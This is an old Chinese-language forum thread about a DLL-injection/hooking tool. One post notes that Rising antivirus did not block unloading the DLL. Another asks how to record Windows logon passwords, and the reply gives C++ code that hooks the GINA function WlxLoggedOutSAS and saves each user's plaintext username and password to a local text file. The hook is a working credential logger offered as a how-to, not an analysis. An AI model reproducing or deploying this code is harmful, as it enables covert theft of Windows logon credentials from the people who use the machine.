邪门！！！

我把瑞星放火墙、杀毒软件、瑞星放火墙都打开了，同样可以卸载 RemoteDLL.DLL，见鬼了：（

我的是 2003 15.0.0.5
UnHook 后，C+A+D 不成功！
删除 RemoteDLL.DLL 失败，说有进程使用！
关闭 瑞星后，重新启动再次启动！
实验，成功！
不知道原因！

[编辑 -  10/24/02 by  gz818]

高人：
如果我要记录user输入的用户和密码要拦截哪个函数调用?

拦截_WlxLoggedOutSAS，代码如下：

//_WlxLoggedOutSAS
int WINAPI _WlxLoggedOutSAS(
    PVOID                   pWlxContext,
    DWORD                   dwSasType,
    PLUID                   pAuthenticationId,
    PSID                    pLogonSid,
    PDWORD                  pdwOptions,
    PHANDLE                 phToken,
    PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
    PVOID *                 pProfile)
{
  RegisterCalledFuncToList(\"WlxLoggedOutSAS  \" + TimeToStr(Now()));

  int Ret = MyWlxLoggedOutSAS(pWlxContext,dwSasType,pAuthenticationId,pLogonSid,pdwOptions,phToken,pNprNotifyInfo,pProfile);

  //保存用户名和密码
  if(Ret == WLX_SAS_ACTION_LOGON)
  {
    TStringList *List = new TStringList();

    List->Add(\"Username = \" + AnsiString(pNprNotifyInfo->pszUserName));
    List->Add(\"Password = \" + AnsiString(pNprNotifyInfo->pszPassword));

    List->SaveToFile(\"D:\\\\MyGinaPass.txt\");
    delete List;
  }

  return Ret;
}

谢谢！：）